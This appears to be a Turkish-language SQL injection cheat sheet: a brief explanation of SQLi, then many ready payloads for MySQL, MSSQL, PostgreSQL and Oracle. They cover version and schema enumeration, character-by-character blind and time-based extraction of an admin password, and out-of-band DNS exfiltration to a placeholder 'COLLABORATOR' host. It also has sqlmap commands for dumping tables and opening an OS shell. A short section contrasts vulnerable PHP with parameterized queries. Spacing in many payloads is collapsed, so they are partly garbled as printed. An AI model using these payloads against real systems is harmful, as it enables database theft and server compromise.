SQL enjeksiyonu (SQLi), bir saldırganın bir uygulamanın veritabanına yaptığı sorgulara müdahale etmesine olanak tanıyan bir web güvenlik açığıdır. Bu, bir saldırganın normalde elde edemeyeceği verileri görüntülemesine izin verebilir. Bu veriler, diğer kullanıcılara ait verileri veya uygulamanın erişebileceği diğer herhangi bir veriyi içerebilir. Birçok durumda, bir saldırgan bu verileri değiştirebilir veya silebilir, uygulamanın içeriğinde veya davranışında kalıcı değişiklikler yapabilir.
Bazı durumlarda, bir saldırgan SQL enjeksiyonu saldırısını yükselterek altta yatan sunucuyu veya diğer arka uç altyapısını tehlikeye atabilir. Bu aynı zamanda saldırganın hizmet reddi (denial-of-service) saldırıları gerçekleştirmesine de olanak tanıyabilir.
# MySQL MsSQLUNIONSELECT @@version-- -#PostgreSQLUNIONSELECTversion()-- -# OracleUNIONSELECT banner FROM v$version-- -
Content Listing
# MySQL MsSQL PostgreSQL UNIONSELECT table_name FROM information_schema.tables-- -UNIONSELECT column_name FROM information_schema.columns WHERE table_name='users'-- -UNIONSELECTpasswordFROM users-- -# OracleUNIONSELECT table_name FROM all_tables-- -UNIONSELECT column_name FROM all_tab_columns WHERE table_name='users'-- -UNIONSELECTpasswordFROM users-- -
AND1=1-- -AND1=2-- -# MySQL PostgreSQLAND (SELECT'a'FROM users LIMIT1)='a'-- -# MsSQLAND (SELECTTOP1'a'FROM users)='a'-- -# OracleAND (SELECT'a'FROM users WHERE ROWNUM =1)='a'-- -# MySQL MsSQL PostgreSQLAND (SELECT'a'FROM users WHERE username='administrator')='a'-- -AND (SELECTSUBSTRING(password,1,1) FROM users WHERE username='admin')='p'-- -AND (SELECTSUBSTRING(password,1,2) FROM users WHERE username='admin')='pa'-- -# OracleAND (SELECT SUBSTR(password,1,1) FROM users WHERE username='admin')='p'-- -AND (SELECT SUBSTR(password,1,2) FROM users WHERE username='admin')='pa'-- -
Blind SQLi Mantıksal Hatalar
# MySQL PostgreSQL MsSQLAND (SELECT'a')='a'-- -# OracleAND (SELECT'a'FROM dual)='a'-- -# Tablo bulma# MySQL PostgreSQLAND (SELECT'a'from users LIMIT1)='a'-- -# MsSQLAND (SELECTTOP1'a'from users)='a'-- -# OracleAND (SELECT'a'from users ROWNUM=1)='a'-- -# OracleAND (SELECTCASEWHEN (1=1) THEN TO_CHAR(1/0) ELSE'a'ENDFROM dual)='a'-- -# MsSQLAND (SELECTCASEWHEN (1=1) THEN1/0ELSE'a'END)='a'-- -# PostgreSQLAND (SELECTCASEWHEN (1=1) THEN1/(SELECT0) ELSE'a'END)='a'-- -# MySQLAND (SELECTIF(1=1,(SELECT table_name FROM information_schema.tables),'a'))='a'-- -# OracleAND (SELECTCASEWHEN (1=1) THEN TO_CHAR(1/0) ELSE'a'ENDFROM users WHERE username='admin')='a'-- -# MsSQLAND (SELECTCASEWHEN (1=1) THEN1/0ELSE'a'ENDFROM users WHERE username='admin')='a'-- -# PostgreSQLAND (SELECTCASEWHEN (1=1) THEN1/(SELECT0) ELSE'a'ENDFROM users WHERE username='admin')='a'-- -# MySQLAND (SELECTIF(1=1,(SELECT table_name FROM information_schema.tables),'a') FROM users WHERE username='admin')='a'-- -# OracleAND (SELECT CASE WHEN SUBSTR(password,1,1)='p' THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='admin')='a'-- -
# PostgreSQLAND (SELECT CASE WHEN SUBSTRING(password,1,1)='p' THEN 1/(SELECT 0) ELSE 'a' END FROM users WHERE username='admin')='a'-- -
# MsSQLAND (SELECTCASEWHENSUBSTRING(password,1,1)='p'THEN1/0ELSE'a'ENDFROM users WHERE username='admin')='a'-- -# MySQLAND (SELECT IF(SUBSTRING(password,1,1)='p',(SELECT table_name FROM information_schema.tables),'a') FROM users WHERE username='admin')='a'-- -
Blind Time Based SQLi
# PostgreSQL||pg_sleep(10)-- -# MySQLAND (SELECT SLEEP(10))-- -# MsSQLWAITFORDELAY'0:0:10'-- -# Oracle||(SELECT dbms_pipe.receive_message(('a'),10))-- -# PostgreSQL||(SELECTCASEWHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END)-- -# MySQLAND (SELECTIF(1=1,SLEEP(10),'a'))-- -# MsSQLIF (1=1) WAITFORDELAY'0:0:10'-- -# Oracle||(SELECTCASEWHEN (1=1) THEN'a'||dbms_pipe.receive_message(('a'),10) ELSE'a'ENDFROM dual)-- -# PostgreSQL||(SELECT CASE WHEN SUBSTRING(password,1,1)='p' THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='admin')-- -
# MySQLAND (SELECTIF(SUBSTRING(password,1,1)='p',SLEEP(10),'a') FROM users WHERE username='admin')-- -# MsSQLIF (SELECT COUNT(*) FROM EMPLOYEE WHERE SUBSTRING(password, 1, 1) = 'p' AND username='admin')=1 WAITFOR DELAY '00:00:10'-- -
# Oracle||(SELECT CASE WHEN (SUBSTR(password,1,1)='p') THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE 'a' END FROM users WHERE username='admin')-- -
DNS Lookup
# PostgreSQLcopy (SELECT'a') to program 'nslookup COLLABORATOR'-- -# MySQLLOAD_FILE('\\\\COLLABORATOR\\a')-- -SELECT'a'INTO OUTFILE '\\\\COLLABORATOR\a'-- -# MSSQLexecmaster..xp_dirtree '//COLLABORATOR/a'-- -# OracleUNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://COLLABORATOR/"> %remote;]>'),'/l') FROM dual-- -
UNIONSELECT UTL_INADDR.get_host_address('COLLABORATOR')-- -# PostgreSQLcreate OR replace function f() returns void as $$ declare c text;declare p text;begin SELECT into p (SELECT 'a');c := 'copy (SELECT '''') to program ''nslookup '||p||'.COLLABORATOR''';execute c;END;$$ language plpgsql security definer;SELECT f();
# MySQLSELECT'a'INTO OUTFILE '\\\\COLLABORATOR\a'# MSSQLdeclare @p varchar(1024);set @p=(SELECT'a');exec('master..xp_dirtree "//'+@p+'.COLLABORATOR/a"')# OracleUNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT 'a')||'.COLLABORATOR/"> %remote;]>'),'/l') FROM dual
RCE
Eğer veritabanın diske yazma yetkisi varsa sunucuya bir shell dosyası atabiliriz.
Sorgu içinde birleştirme yerine parametrelendirilmiş sorgular kullanarak SQL Injection saldırılarının çoğunu önleyebilirsiniz.
Bu yöntemi çalışma mantığı gereği sadece WHERE, INSERT veya UPDATE kısımlarında kullanabilirsiniz. Eğer tablo adı, sütun adı veya ORDER BY gibi ifadelerde kullanıyorsanız bir sonraki yöntem işe yarayabilir.
<?php$conn =mysqli_connect('localhost','username','password','mydatabase');$username = $_GET['username'];$password = $_GET['password'];// Burada görüldüğü üzere kullanıcı girdileri doğrudan sorguya yazılmış// Bu yüzden SQLi zafiyeti oluyor$sql ="SELECT*FROM users WHERE username='$username' ANDpassword='$password'";$result =mysqli_query($conn, $sql);mysqli_close($conn);?>
<?php$pdo =newPDO('mysql:host=localhost;dbname=mydatabase','username','password');$username = $_GET['username'];$password = $_GET['password'];$stmt = $pdo->prepare("SELECT*FROM users WHERE username = ? ANDpassword= ?");// Burada ise kullanıcı girdileri parametreleştirilmiş// Böylece zafiyet oluşmuyor$stmt->execute([$username, $password]);$user = $stmt->fetch();?>
Whitelisting
Eğer parametrelendirme işe yaramıyor ise kullanıcı girdisine whitelisting uygulanabilir.
sqlmap-uhttps://example.comsqlmap-rreq.txtsqlmap-rreq.txt--dbssqlmap-rreq.txt-D<DB>--tablessqlmap-rreq.txt-D<DB>-T<TABLE>--dumpsqlmap-rreq.txt--os-shell# Sadece belirtilen parametreyi tararsqlmap-rreq.txt-pkeyword# Zorunlu https kullanır (302 Redirect veriyorsa ise yarar)sqlmap-rreq.txt--force-ssl# Eski taramalari gormezden gelsqlmap-rreq.txt--flush-session# Random User agentsqlmap-rreq.txt--random-agent# Soru sormasqlmap-rreq.txt--batch# Thread arttirsqlmap-rreq.txt--threads=10# Risk ve tarama seviyesisqlmap-rreq.txt--level5--risk3# Sadece tek veritabani tipi icin saldiri denersqlmap-rreq.txt--dbms<DBMS># Sadece belirtilen teknikleri denersqlmap-rreq.txt-technique=BEUSTQ# B: Boolean-based blind# E: Error-based# U: Union query-based# S: Stacked queries# T: Time-based blind# Q: Inline queries